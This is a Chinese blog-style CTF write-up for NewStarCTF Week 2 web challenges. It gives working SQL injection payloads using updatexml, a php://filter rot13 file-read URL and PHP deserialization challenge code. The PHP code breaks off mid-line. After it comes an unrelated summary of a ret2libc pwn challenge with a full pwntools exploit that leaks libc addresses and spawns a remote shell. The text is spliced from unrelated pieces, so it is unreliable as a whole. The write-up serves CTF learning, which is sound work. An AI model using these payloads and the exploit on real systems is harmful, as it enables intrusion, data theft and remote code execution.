七校联合NewStarCTF 公开赛赛道WEEK2 web wp

也不知道是不是公开赛和内部赛是不是同一套题,week1的题挺简单的
这里小记一下week2的题目
如有侵权立刻删除

Word-For-You(2 Gen)

这题很简单就带过一下吧,报错注入就行

1’||updatexml(1,concat(0x7e,database()),1)#
1’||updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
在这里插入图片描述在这里插入图片描述

最后没记错flag好像在 wfy_comments 这个表里的text下
1’||updatexml(1,concat(0x7e,(select reverse(group_concat(text)) from wfy_comments)),1)#
reverse一下倒着取
在这里插入图片描述
取出来逆一下
在这里插入图片描述

IncludeOne

伪随机
在这里插入图片描述
应该是要爆破种子
在这里插入图片描述看题目里随机了两次我们也随机两次
在这里插入图片描述

然后写个伪协议,base被禁了就用rot13
在这里插入图片描述?file=php://filter/NewStar/read=string.rot13/resource=flag.php

然后去解码
在这里插入图片描述

UnserializeOne

反序列化

 <?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
   
   
    public $name;
    protected $func;

    public function __destruct()
    {
   
   
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
   
   
        ($this->func)();
    }
}

class Sec{
   
   
    private $obj;
    private $var;

    public function __toString()
    {
   
   
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
   
   
        echo file_get_contents('/flag');
    }
}

class Easy{
   
   
    public $cla;

    public function __call($fun, $var)
    {
   
   
        $this->cla = clone $var[
NewStarCTF公开赛赛道中,ret2libc相关信息有以下内容: 文章提到了[NewStarCTF 2023 公开赛道]ret2libc(BUUCTF)的exp代码,其中包含了详细的解题步骤和代码实现。代码设置了上下文环境,使用`ELF`类加载目标程序,确定了关键函数地址如`puts`的PLT和GOT地址、`main`函数地址、`ret`地址和`pop_rdi`地址等。通过构造第一个`payload1`,利用栈溢出漏洞泄露`puts`函数的真实地址,进而通过`LibcSearcher`库查找libc库的基地址,计算出`system`函数和`/bin/sh`字符串的地址。最后构造第二个`payload2`,再次利用栈溢出漏洞执行`system("/bin/sh")`来获取shell,实现漏洞利用。 ```python # @author:My6n # @time:20250522 from LibcSearcher import * context(arch = 'amd64',os = 'linux',log_level = 'debug') #io = process('./pwn') io = remote('node5.buuoj.cn',27805) elf = ELF('./pwn') offset = 40 puts_plt_addr = elf.plt['puts'] puts_got_addr = elf.got['puts'] main_addr = 0x400698 ret_addr = 0x400506 pop_rdi = 0x400763 payload1 = cyclic(offset) + p64(pop_rdi) + p64(puts_got_addr) payload1 += p64(puts_plt_addr) + p64(main_addr) io.sendlineafter('Show me your magic again\n',payload1) puts_addr = u64(io.recvuntil(b'\x57')[-8:-2].ljust(8,b'\x00')) libc = LibcSearcher('puts',puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh') payload2 = cyclic(offset) + p64(pop_rdi) + p64(bin_sh_addr) + p64(ret_addr) + p64(system_addr) io.sendlineafter('Show me your magic again\n',payload2) io.interactive() ``` 另外还提到了关于ret2libc(栈溢出)的分析,但未详细展开分析内容[^1][^2]。
评论 8
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值